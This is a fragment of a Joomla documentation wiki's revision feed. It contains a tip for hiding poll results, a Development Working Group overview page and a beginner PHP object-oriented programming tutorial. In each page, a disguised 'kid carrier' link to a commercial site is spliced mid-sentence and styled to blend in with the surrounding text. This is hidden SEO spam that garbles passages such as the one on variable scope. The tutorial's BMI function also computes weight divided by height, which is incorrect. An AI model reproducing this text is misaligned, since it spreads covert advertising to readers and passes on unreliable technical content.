# Select the &#039;&#039;&#039;SSL Enabled&#039;&#039;&#039; radio button &#039;&#039;&#039;Off&#039;&#039;&#039;, &#039;&#039;&#039;Ignored&#039;&#039;&#039; or &#039;&#039;&#039;On&#039;&#039;&#039;. This selects whether or not this link should use SSL and the Secure Site URL.&lt;br /&gt;
&lt;br /&gt;
You can now visualize your work in the Front-end of your site.&lt;br /&gt;
&lt;br /&gt;
==How to Show/Hide the Results of a Poll==&lt;br /&gt;
&lt;br /&gt;
Joomla shows the results to the users after they vote on a poll.  In order to keep those results hidden, you have edited the file that displays these results.  that file is located here: components/com_poll/views/poll/view.html.php&amp;amp;lt;br&amp;gt;&lt;br /&gt;
Edit this line of code at the end of the file&lt;br /&gt;
&amp;amp;lt;pre&amp;gt;&lt;br /&gt;
parent::display($tpl);&lt;br /&gt;
&amp;amp;lt;/pre&amp;gt;&lt;br /&gt;
and changed it to this&lt;br /&gt;
&amp;amp;lt;pre&amp;gt;&lt;br /&gt;
if ($_REQUEST[&#039;poll&#039;] == &amp;quot;SHOW_RESULTS&amp;quot;) parent::display($tpl);&lt;br /&gt;
&amp;amp;lt;/pre&amp;gt;&lt;br /&gt;
This will hide the poll results for everybody including you. If you want to see the results &amp;lt;span class=&amp;quot;plainlinks&amp;quot;&amp;gt;[http://www.thepiggybackrider.com/ &amp;lt;span style=&amp;quot;color:black;font-weight:normal; text-decoration:none!important; background:none!important; text-decoration:none;/*CITATION*/&amp;quot;&amp;gt;kid carrier&amp;lt;/span&amp;gt;]&amp;lt;/span&amp;gt; yourself, all you need to do is modify the URL to include. Simply follow the steps outlined in &amp;quot;How to Publish Your Poll Results as a Menu Item&amp;quot; above and after you open that page in your web browser, you will need to add this to the end of the URL&lt;br /&gt;
* Use this if you have SEF URLs enabled&lt;br /&gt;
&amp;amp;lt;pre&amp;gt;&lt;br /&gt;
?poll=SHOW_RESULTS&lt;br /&gt;
&amp;amp;lt;/pre&amp;gt;&lt;br /&gt;
* Use this if you do not have SEF URLs enabled&lt;br /&gt;
&amp;amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;amp;amp;poll=SHOW_RESULTS&lt;br /&gt;
&amp;amp;lt;/pre&amp;gt;&lt;br /&gt;
For example, if your URL looks like this www.domain.com/index.php?option=com_content ...    add &amp;amp;amp;poll=SHOW_RESULTS to the end&amp;amp;lt;br&amp;gt;&lt;br /&gt;
if your URL looks like this www.domain.com/my-poll ...   add ?poll=SHOW_RESULTS to the end&amp;amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:FAQ]][[Category:Component Management]]&lt;/div&gt;</summary>
		<author><name>MTrapp82</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Development_Working_Group&amp;diff=62329</id>
		<title>Development Working Group</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Development_Working_Group&amp;diff=62329"/>
		<updated>2011-09-26T18:47:53Z</updated>

		<summary type="html">&lt;p&gt;MTrapp82: None&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{incomplete}}[[Image:workgroups_development.jpg|right]]&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
 &#039;&#039;&#039;&#039;&#039;&amp;quot;..To develop a cutting edge, state of the art Web Content Management application framework...&amp;quot;&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The main responsibility of the [[Development Working Group]] is taking care of the development of the Joomla! application framework and the Joomla! Content Management System (CMS). Besides the development of the Joomla! codebase the development working group defines the Joomla! roadmap strategy, creating (architectural) designs for major and minor versions and of course take care of bug and security fixes in maintenance versions.&lt;br /&gt;
&lt;br /&gt;
The development working group holds two teams: the [[Development Team]] and the so called [[Bug Squad]]. Both teams have a separate responsibility but together they form the development force for the Joomla! project.&lt;br /&gt;
&lt;br /&gt;
Joomla! is as every other open-source project based upon the fundaments of collaborative and is a community-driven project. This means that the software, the documentation, the ever growing number of available the extensions, support (forum, mailing, lists newsletters, user groups are collaboratively produced by users and developers all over the world.&lt;br /&gt;
&lt;br /&gt;
In this section of the documentation wiki we have tried to describe all relevant aspects to Joomla! development. Our effort strives to be as complete as we can be, but we don&#039;t rule out that information you are looking for is not (yet) documented. We encourage everyone to help completing the documentation effort and maximize the community effect within the Joomla! project.&lt;br /&gt;
&lt;br /&gt;
== Getting started ==&lt;br /&gt;
&lt;br /&gt;
The amount of information that is available from this page is like a small (e-)book. We tried to organize the information in a logical &amp;lt;span class=&amp;quot;plainlinks&amp;quot;&amp;gt;[http://www.thepiggybackrider.com/ &amp;lt;span style=&amp;quot;color:black;font-weight:normal; text-decoration:none!important; background:none!important; text-decoration:none;/*CITATION*/&amp;quot;&amp;gt;kid carrier&amp;lt;/span&amp;gt;]&amp;lt;/span&amp;gt; order, and also structure the information in the most efficient way. To prevent you from reading for some hours, we use a simple documentation method. Per topic we draft a short description on the information that can be found, and in the linked pages we will provide as much as possible detail. Keep in mind that you can use the free-text search or the generated table of contents for this documentation category to find your information. If there is information missing, feel free to add this within this wiki.&lt;br /&gt;
&lt;br /&gt;
* [[First look around]]&lt;br /&gt;
* [[Guide to the Development Documentation wiki section]]&lt;br /&gt;
&lt;br /&gt;
== Technical infrastructure == &lt;br /&gt;
&lt;br /&gt;
For collaboration we have set up an infrastructure like version control, the bug tracker and of course this wiki for documentation. These assets are essential for Joomla! development. Below you will find links to the infrastructure that is used within the Joomla! project.&lt;br /&gt;
&lt;br /&gt;
* [[Mailing lists]]&lt;br /&gt;
* [[Version control]]&lt;br /&gt;
* [[Bug tracker]]&lt;br /&gt;
* [[IRC/Real-Time Chat]]&lt;br /&gt;
* [[Wikis]]&lt;br /&gt;
* [[Web sites]]&lt;br /&gt;
* [[Joomlacode]]&lt;br /&gt;
&lt;br /&gt;
== Social and Political Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
Ready for something more heavy at tea? Then you&#039;re in the right place here ;-) In this section we describe the basic organizational structures we have put in place, but probably at least important we describe the code of conduct we follow. For open source projects this is especially important because we have no hierarchical relation with our volunteers, the Joomla! project follows the [[http://producingoss.com/en/consensus-democracy.html Consensus Based Democracy]] model.&lt;br /&gt;
&lt;br /&gt;
* [[Organizational structure]]&lt;br /&gt;
* [[Code of conduct]]&lt;br /&gt;
&lt;br /&gt;
== Communications ==&lt;br /&gt;
&lt;br /&gt;
There are several ways to get in touch, or communicate with the development community of Joomla! Within the working groups we try to share as much as possible information, using different media. It is a mix of tools and events we organized, details can be found in the links below.&lt;br /&gt;
&lt;br /&gt;
* [http://developer.joomla.org/section-blog.html Development blog]&lt;br /&gt;
* [http://developer.joomla.org/gsoc2008.html Summer of Code blog]&lt;br /&gt;
* [http://developer.joomla.org/bug-squad-blog.html Bug Squad blog]&lt;br /&gt;
* [http://forum.joomla.org/viewforum.php?f=509&amp;amp;amp;sid=fb99f7b1a81437ff25e8dd707343bae0 Development forum]&lt;br /&gt;
* [[Development meetings]]&lt;br /&gt;
* [http://www.google.com/calendar/embed?src=calendar@joomla.org Joomla! events]&lt;br /&gt;
* [http://community.joomla.org/joomla-user-groups.html Local user groups]&lt;br /&gt;
* [http://docs.joomla.org/Pizza_Bugs_and_Fun_2 Pizza Bugs and Fun]&lt;br /&gt;
&lt;br /&gt;
== Packaging, releasing and daily development ==&lt;br /&gt;
&lt;br /&gt;
* Release numbering&lt;br /&gt;
* Release branches&lt;br /&gt;
* Sandboxes&lt;br /&gt;
* Stabilizing a release&lt;br /&gt;
* Packaging&lt;br /&gt;
* Testing and releasing&lt;br /&gt;
* Maintaining multiple release lines (general description, and our current release lines)&lt;br /&gt;
* Releases and daily development&lt;br /&gt;
&lt;br /&gt;
== Development community ==&lt;br /&gt;
&lt;br /&gt;
* How to get involved?&lt;br /&gt;
* 3rd party development&lt;br /&gt;
* Interesting topics to study&lt;br /&gt;
* Recommended readings and books&lt;br /&gt;
&lt;br /&gt;
== Licensing and copyrights == &lt;br /&gt;
&lt;br /&gt;
* General Public License&lt;br /&gt;
&lt;br /&gt;
== How to contribute to Joomla! development ==&lt;br /&gt;
&lt;br /&gt;
== Coding standards ==&lt;br /&gt;
A list of Joomla! coding standards as of 13 February 2010 can be found here: [[Coding style and standards]]. There is also a list of [[Core Development Best Practices]].&lt;br /&gt;
&lt;br /&gt;
== Writing secure Joomla! code ==&lt;br /&gt;
&lt;br /&gt;
* [http://developer.joomla.org/tutorials/181-preventing-sql-injections.html Preventing SQL injections]&lt;br /&gt;
* [[Secure coding guidelines]]&lt;br /&gt;
&lt;br /&gt;
== Unit testing within Joomla! ==&lt;br /&gt;
&lt;br /&gt;
The goal of unit testing is to isolate each part of the program and show that the individual parts are correct. A unit test provides a strict, written contract that the piece of code must satisfy. As a result, it affords several benefits. Unit tests find problems early in the development cycle.&lt;br /&gt;
&lt;br /&gt;
In computer programming, unit testing is a method of testing that verifies the individual units of source code are working properly. A unit is the smallest testable part of an application. In procedural programming a unit may be an individual program, function, procedure, etc., while in object-oriented programming, the smallest unit is a method, which may belong to a base/super class, abstract class or derived/child class.&lt;br /&gt;
&lt;br /&gt;
Ideally, each test case is independent from the others; Double objects like stubs, mock or fake objects as well as test harnesses can be used to assist testing a module in isolation. Unit testing is typically done by software developers to ensure that the code they have written meets software requirements and behaves as the developer intended.&lt;br /&gt;
&lt;br /&gt;
Ground work on the implementation of unit testing has been done by Enno Klasing during the Summer of Code 2007 project and has been perfected by Alan Langford from the Joomla! [[Development Team]]. The way [[Unit Testing]] is implemented within the Joomla! project has been documented in the [[Unit Testing]] chapter.&lt;br /&gt;
&lt;br /&gt;
* [[Unit Testing]]&lt;br /&gt;
&lt;br /&gt;
== What does a Joomla! development environment look like ==&lt;br /&gt;
&lt;br /&gt;
== Debugging your Joomla! code ==&lt;br /&gt;
One way to debug Joomla! code is using the open-source programs Eclipse and XDebug. Instructions for setting up these programs is available in [[Setting up your workstation for Joomla! development]].&lt;br /&gt;
&lt;br /&gt;
== Joomla! organization ==&lt;br /&gt;
&lt;br /&gt;
* An explanation on how the [[Development Team]] is organized.&lt;br /&gt;
* An explanation on how the [[Bug Squad]] is organized.&lt;br /&gt;
&lt;br /&gt;
== Joomla! planning process and procedures ==&lt;br /&gt;
* Description on the [[Development Strategy of Joomla!]]&lt;br /&gt;
* A description of how the [[Joomla! Maintenance Procedures]] are organized&lt;br /&gt;
* [[Release procedure and checklist]]&lt;br /&gt;
* [[Team member administration]]&lt;br /&gt;
&lt;br /&gt;
== Miscellaneous ==&lt;br /&gt;
&lt;br /&gt;
This is &amp;quot;old&amp;quot; content and needs to be moved to the final location in this wiki, work in progress...&lt;br /&gt;
&lt;br /&gt;
* [[Unit Testing]] within the Joomla! project&lt;br /&gt;
* [[The use of Subversion]]&lt;br /&gt;
&amp;amp;lt;noinclude&amp;gt;[[Category:Development Working Group]]&amp;amp;lt;/noinclude&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Working Groups]]&lt;/div&gt;</summary>
		<author><name>MTrapp82</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Getting_Started_with_Object_Oriented_Programming&amp;diff=62326</id>
		<title>Getting Started with Object Oriented Programming</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Getting_Started_with_Object_Oriented_Programming&amp;diff=62326"/>
		<updated>2011-09-26T18:47:45Z</updated>

		<summary type="html">&lt;p&gt;MTrapp82: None&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;PHP is an object oriented language, and to use the MVC structure as implemented by Joomla!, a solid understanding of object oriented programming &#039;&#039;(OOP)&#039;&#039; is required. This document explains the reasons for using objects and the way objects are used in PHP.&lt;br /&gt;
&lt;br /&gt;
== Introduction to Objects ==&lt;br /&gt;
&lt;br /&gt;
As we venture into object oriented programming, it is important to note that it is called &#039;object&#039; oriented for a reason. &lt;br /&gt;
&lt;br /&gt;
Before object oriented programming (OOP), everything was based on &#039;&#039;functions&#039;&#039; and &#039;&#039;variables&#039;&#039;. Let&#039;s consider an application that calculates a person&#039;s BMI. You might have three variables: &amp;amp;lt;code&amp;gt;$height&amp;amp;lt;/code&amp;gt; and &amp;amp;lt;code&amp;gt;$weight&amp;amp;lt;/code&amp;gt; and &amp;amp;lt;code&amp;gt;$name&amp;amp;lt;/code&amp;gt;. These variables would be used to store a person&#039;s name, height and weight. You might then have a function called &amp;amp;lt;code&amp;gt;calculateBMI()&amp;amp;lt;/code&amp;gt;, which would accept as parameters $height and $weight.  &lt;br /&gt;
&lt;br /&gt;
This would look something like:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
function calculateBMI( $height, $weight ) {&lt;br /&gt;
    return $weight / $height;&lt;br /&gt;
}&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
But it is very easy to lose track of all these variables in the code, not to mention the fact that only one person is supported at a time. The idea behind objects is to &#039;&#039;&#039;encapsulate&#039;&#039;&#039; this data &#039;&#039;&#039;and&#039;&#039;&#039; the functions to manipulate it into one &#039;&#039;package&#039;&#039;. The definition of this package is called a &#039;&#039;class&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
So we might have:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
class person&lt;br /&gt;
{&lt;br /&gt;
    var $name;&lt;br /&gt;
    var $height;&lt;br /&gt;
    var $weight;&lt;br /&gt;
&lt;br /&gt;
    function getBMI() {&lt;br /&gt;
        return $this-&amp;gt;weight / $this-&amp;gt;height;&lt;br /&gt;
    }&lt;br /&gt;
}&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then, if you want to create an object which represents a person, you would do:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$person = new person();&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is called &#039;&#039;instantiating&#039;&#039; the class, because it creates an &#039;&#039;instance&#039;&#039; of the class (an object described by the class).&lt;br /&gt;
&lt;br /&gt;
Now, you can modify the variables (which are called &#039;&#039;properties&#039;&#039;), using:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$person-&amp;gt;height = 2;&lt;br /&gt;
$person-&amp;gt;weight = 50;&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then you can invoke its functions (which are called &#039;&#039;methods&#039;&#039;) using:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$bmi = $person-&amp;gt;getBMI();&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Often, many classes are similar, but too different to put into one class. For example, all animals have lungs, and because humans and cats are animals, they could both have a &amp;amp;lt;code&amp;gt;$lung_capacity&amp;amp;lt;/code&amp;gt;. However, cats have tails, so should an &amp;amp;lt;code&amp;gt;Animal&amp;amp;lt;/code&amp;gt; class have a &amp;amp;lt;code&amp;gt;$tail_length&amp;amp;lt;/code&amp;gt;? No, that is not necessary. You can make a class a &#039;&#039;subclass&#039;&#039; or &#039;&#039;child class&#039;&#039; of another, essentially stating that the subclass has everything its parent class has, plus some extensions.&lt;br /&gt;
&lt;br /&gt;
In Joomla, most classes are children of JObject. Now, if we were to make person a child class of JObject, then we would &#039;&#039;inherit&#039;&#039; the capabilities of the JObject class. We would then change the definition to something like:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
class person extends JObject&lt;br /&gt;
{&lt;br /&gt;
    var $name;&lt;br /&gt;
    var $height;&lt;br /&gt;
    var $weight;&lt;br /&gt;
&lt;br /&gt;
    function getBMI() {&lt;br /&gt;
        return $this-&amp;gt;weight / $this-&amp;gt;height;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then we could &#039;&#039;manipulate&#039;&#039; our person using the &amp;amp;lt;code&amp;gt;get()&amp;amp;lt;/code&amp;gt; and &amp;amp;lt;code&amp;gt;set()&amp;amp;lt;/code&amp;gt; methods that JObject has:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$person-&amp;gt;set( &#039;name&#039;, &#039;Bob&#039; );&lt;br /&gt;
$person-&amp;gt;set( &#039;height&#039;, 2 );&lt;br /&gt;
$person-&amp;gt;set( &#039;weight&#039;, 50 );&lt;br /&gt;
$person-&amp;gt;get( &#039;weight&#039; );&lt;br /&gt;
echo $person-&amp;gt;getBMI();&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You will notice the use of &amp;amp;lt;code&amp;gt;$this&amp;amp;lt;/code&amp;gt; inside classes a lot. &amp;amp;lt;code&amp;gt;$this&amp;amp;lt;/code&amp;gt; is a reference to the &#039;&#039;&#039;current&#039;&#039;&#039; object. So if I am inside a class, and I use say &amp;amp;lt;code&amp;gt;$this-&amp;gt;height = 2;&amp;amp;lt;/code&amp;gt;, then that means I am setting the property &#039;height&#039; of the current object to 2. When we use &amp;amp;lt;code&amp;gt;$this-&amp;gt;height&amp;amp;lt;/code&amp;gt;, we aren&#039;t talking about any height, but we&#039;re talking about the current object height.&lt;br /&gt;
&lt;br /&gt;
== More on Objects ==&lt;br /&gt;
&lt;br /&gt;
As I said, Objects are called Objects for a reason.  If you have a real life object, say a photocopier, there is an external interface (say, a paper tray, the copier glass, the keypad, etc.).  Objects in OOP are designed to approximate that setup.&lt;br /&gt;
&lt;br /&gt;
So, I might have a class called copier. Now, what operations do I generally need to do with a copier? Well, the basic functionality I need is copy functionality. So I need a method called &#039;copy&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
class Copier&lt;br /&gt;
{&lt;br /&gt;
    function copy() {&lt;br /&gt;
        echo &#039;One copy made&#039;;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now, this is a very basic copier. What if I wanted to extend the functionality of my Copier? Well, to extend the functionality, I create a child class. &#039;&#039;A child class will inherit all the functionality of the parent class.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Let&#039;s suppose we wanted to create a copier that would keep track of the number of copies it had made. So, we would need to add a property which would keep track of this number, and then we need to somehow adjust this number each time we make a copy.&lt;br /&gt;
&lt;br /&gt;
So here is our child class:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
class CopierWithCounter extends Copier&lt;br /&gt;
{&lt;br /&gt;
    var $counter;&lt;br /&gt;
&lt;br /&gt;
    function copy() {&lt;br /&gt;
        $this-&amp;gt;counter++;&lt;br /&gt;
        parent::copy();&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
So we now have a property called &amp;amp;lt;code&amp;gt;$counter&amp;amp;lt;/code&amp;gt; that keeps track of the number of copies made. Notice that the method we defined has the same name as the method in the Copier class. What this means is that we don&#039;t need to learn anything new to use the copier - it behaves in the same way as our old copier, but it just keep track of the number of copies.&lt;br /&gt;
&lt;br /&gt;
You will see that inside of the &amp;amp;lt;code&amp;gt;copy()&amp;amp;lt;/code&amp;gt; method there is a line: &#039;&#039;&amp;amp;lt;code&amp;gt;parent::copy()&amp;amp;lt;/code&amp;gt;&#039;&#039;. The &amp;amp;lt;code&amp;gt;parent&amp;amp;lt;/code&amp;gt; keyword references the parent class, which is in this case Copier.  So this line will invoke the &amp;amp;lt;code&amp;gt;copy()&amp;amp;lt;/code&amp;gt; method of the Copier class. In this way, we don&#039;t have to rewrite the functionality to make a copy - we have already done that in the Copier class.&lt;br /&gt;
&lt;br /&gt;
So we have the exact same functionality as the Copier class, except that anytime a copy is made it will increment the $copies property by 1. Just as in real life, the addition of the counter doesn&#039;t change the way that I use the copier - I don&#039;t need to know anything about the counter to just make a simple copy.&lt;br /&gt;
&lt;br /&gt;
Now, the question arises: what value does &amp;amp;lt;code&amp;gt;$counter&amp;amp;lt;/code&amp;gt; have to start with? We know that it increases by one every time a copy is made, but that is all we know.&lt;br /&gt;
&lt;br /&gt;
This value needs to be &#039;&#039;initialized&#039;&#039; to a certain value.&lt;br /&gt;
&lt;br /&gt;
Initializing values is generally done by what is called a &#039;&#039;constructor&#039;&#039;. A constructor does just that - it constructs the object. In PHP4, constructors were functions that always had the same name as the class. In PHP5, constructors are functions with the name &amp;amp;lt;code&amp;gt;__construct&amp;amp;lt;/code&amp;gt;. We will use &amp;amp;lt;code&amp;gt;__construct&amp;amp;lt;/code&amp;gt; here.&lt;br /&gt;
&lt;br /&gt;
So our class now becomes:&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
class CopierWithCounter extends Copier&lt;br /&gt;
{&lt;br /&gt;
    var $counter;&lt;br /&gt;
&lt;br /&gt;
    function __construct() {&lt;br /&gt;
        $this-&amp;gt;counter = 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function copy() {&lt;br /&gt;
        $this-&amp;gt;counter++;&lt;br /&gt;
        parent::copy();&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now suppose we wanted to create an even more advanced copier. We can do that by creating another child class. Let&#039;s create a copier that is able to do multiple copies. In order to do this, we need a way to specify how many copies we want and a way to remember this number. We will add a method called &#039;setCopies()&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
class CopierMultipleCopies extends CopierWithCounter&lt;br /&gt;
{&lt;br /&gt;
    var $copies;&lt;br /&gt;
&lt;br /&gt;
    function setCopies( $copies ) {&lt;br /&gt;
        $this-&amp;gt;copies = $copies;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
We now have a way to specify how many copies we want to make.&lt;br /&gt;
&lt;br /&gt;
Now, it is appropriate here to say a word about &#039;&#039;scope&#039;&#039;. When we talk about scope, we talk about where a certain variable can be seen. You will notice that in our class, we have a property called &amp;amp;lt;code&amp;gt;$copies&amp;amp;lt;/code&amp;gt;. But we also have a parameter called &amp;amp;lt;code&amp;gt;$copies&amp;amp;lt;/code&amp;gt; in our method &amp;amp;lt;code&amp;gt;setCopies&amp;amp;lt;/code&amp;gt;. How do you tell them apart?&lt;br /&gt;
&lt;br /&gt;
Well, the rules of scope tell us which variable we are talking about. If a method takes a parameter, say &amp;amp;lt;code&amp;gt;$copies&amp;amp;lt;/code&amp;gt; (as above), then if I use &amp;amp;lt;code&amp;gt;$copies&amp;amp;lt;/code&amp;gt; inside that method, I am referring to &amp;lt;span class=&amp;quot;plainlinks&amp;quot;&amp;gt;[http://www.thepiggybackrider.com/ &amp;lt;span style=&amp;quot;color:black;font-weight:normal; text-decoration:none!important; background:none!important; text-decoration:none;/*CITATION*/&amp;quot;&amp;gt;kid carrier&amp;lt;/span&amp;gt;]&amp;lt;/span&amp;gt; that parameter. There may be other variables called &amp;amp;lt;code&amp;gt;$copies&amp;amp;lt;/code&amp;gt; that are defined in other places, but I don&#039;t care about those - I only care about the one inside of my function. If I want to refer to a property of the current object, I use the &amp;amp;lt;code&amp;gt;$this&amp;amp;lt;/code&amp;gt; keyword. So, if I use &amp;amp;lt;code&amp;gt;$this-&amp;gt;copies&amp;amp;lt;/code&amp;gt;, then I am talking about the &amp;amp;lt;code&amp;gt;$copies&amp;amp;lt;/code&amp;gt; property that belongs to my current object.&lt;br /&gt;
&lt;br /&gt;
So that aside, our &amp;amp;lt;code&amp;gt;setCopies()&amp;amp;lt;/code&amp;gt; method will allow us to set the number of copies that we want to make using our copier. The method takes one parameter - &amp;amp;lt;code&amp;gt;$copies&amp;amp;lt;/code&amp;gt;, and stores it in the object.&lt;br /&gt;
&lt;br /&gt;
You will notice that our current class definition for CopierMultipleCopies doesn&#039;t define a &amp;amp;lt;code&amp;gt;copy()&amp;amp;lt;/code&amp;gt; method or a constructor. But, because it extends CopierWithCounter, it inherits the &amp;amp;lt;code&amp;gt;copy()&amp;amp;lt;/code&amp;gt; method from CopierWithCounter, and also inherits the properties. So, without doing any extra work, we already have a Copier with a counter.&lt;br /&gt;
&lt;br /&gt;
But we still want to extend the functionality of the &amp;amp;lt;code&amp;gt;copy()&amp;amp;lt;code&amp;gt; method so that it actually makes the multiple copies. So, we add a method definition to our class. We will also add a constructor that will add the functionality of initializing the number of copies to 1.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
class CopierMultipleCopies extends CopierWithCounter&lt;br /&gt;
{&lt;br /&gt;
    var $copies;&lt;br /&gt;
&lt;br /&gt;
    function __construct() {&lt;br /&gt;
        $this-&amp;gt;copies = 1;&lt;br /&gt;
        parent::__construct();&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function setCopies( $copies ) {&lt;br /&gt;
        $this-&amp;gt;copies = $copies;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function copy() {&lt;br /&gt;
        for ($i = 0; $i &amp;amp;lt; $this-&amp;gt;copies; $i++) {&lt;br /&gt;
            parent::copy();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
So what have we done here? Well, first, in our constructor we initialized the $copies variable to 1. Thus, if we don&#039;t tell our copier otherwise, it will make one copy when the &amp;amp;lt;code&amp;gt;copy()&amp;amp;lt;/code&amp;gt; method is invoked. Note that we don&#039;t have to rewrite the code to initialize the counter - we just call &amp;amp;lt;code&amp;gt;parent::__construct()&amp;amp;lt;/code&amp;gt; and our parent constructor will handle that.&lt;br /&gt;
&lt;br /&gt;
Then, we &#039;&#039;overrode&#039;&#039; the &amp;amp;lt;code&amp;gt;copy()&amp;amp;lt;/code&amp;gt; method. Inside of our &amp;amp;lt;code&amp;gt;copy()&amp;amp;lt;/code&amp;gt; method we have what is called a &#039;&#039;[[http://en.wikipedia.org/wiki/For_loop|for loop]]&#039;&#039;.  &lt;br /&gt;
&lt;br /&gt;
In the first line of the for loop, you will see three parts divided by semicolons.  &lt;br /&gt;
&lt;br /&gt;
The first part is the  &#039;&#039;initialization&#039;&#039;. We will use $i as a counter variable, and we will start it at 0. $i will essentially keep track of the number of copies we have made out of the total number that we have to do.  &lt;br /&gt;
&lt;br /&gt;
The second part is the &#039;&#039;condition&#039;&#039;. At the beginning of each run of the for loop, this condition is checked to determine if it is true or not. If the condition is true, we execute the stuff inside of the braces. If it is not, then we are done the loop.  &lt;br /&gt;
&lt;br /&gt;
The last part is the &#039;&#039;incrementor&#039;&#039;. This is code that gets executed after every pass through the loop.  &lt;br /&gt;
&lt;br /&gt;
So it will run something like:&lt;br /&gt;
* take our variable i and set it to 0.&lt;br /&gt;
* Check if our variable i is less than the number of copies that we have to make&lt;br /&gt;
* if it is, then we will make a copy&lt;br /&gt;
* we will increment i by 1 and go back to step 2&lt;br /&gt;
&lt;br /&gt;
You can have much more complex for loops than this, but this is the basic idea.&lt;br /&gt;
&lt;br /&gt;
So that is our copier. Now to use our copier, we can add something like this to our code:&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$copier = new CopierMultipleCopies();&lt;br /&gt;
$copier-&amp;gt;copy();&lt;br /&gt;
$copier-&amp;gt;copy();&lt;br /&gt;
$copier-&amp;gt;setCopies( 10 );&lt;br /&gt;
$copier-&amp;gt;copy();&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
So notice a couple of things:&lt;br /&gt;
&lt;br /&gt;
First, as we made our copier more and more complex, we didn&#039;t have to duplicate code. That is, in our most complex copier, we didn&#039;t have to worry about creating code to make the actual copy. We just used the method that came with our original copier. Also, in our final copier we didn&#039;t have to re-implement the counter - we again just used the method that had already been defined to do this.&lt;br /&gt;
&lt;br /&gt;
Second, our new copier can serve as a drop in replacement for our old copier. Yes, each copier was more advanced than the previous one, but it was still possible with the most advanced one to just create it and invoke the copy() method, and it would create a copy.  &lt;br /&gt;
&lt;br /&gt;
If I want to use the more advanced functionality, such as reading the counter or changing the number of copies to be made, I need to know about these features, but I can still ignorantly use the copier as if it was the original Copier. (i.e. the original Copier class had a certain interface that was standard.)  &lt;br /&gt;
&lt;br /&gt;
The advanced copiers added more features, but this was separate from the original interface. (just as a car with cruise control has the same basic interface as a car without cruise control, but to take advantage of the cruise control you need to know how to set it).  &lt;br /&gt;
&lt;br /&gt;
This idea is an important part of the design of Joomla!.&lt;br /&gt;
&lt;br /&gt;
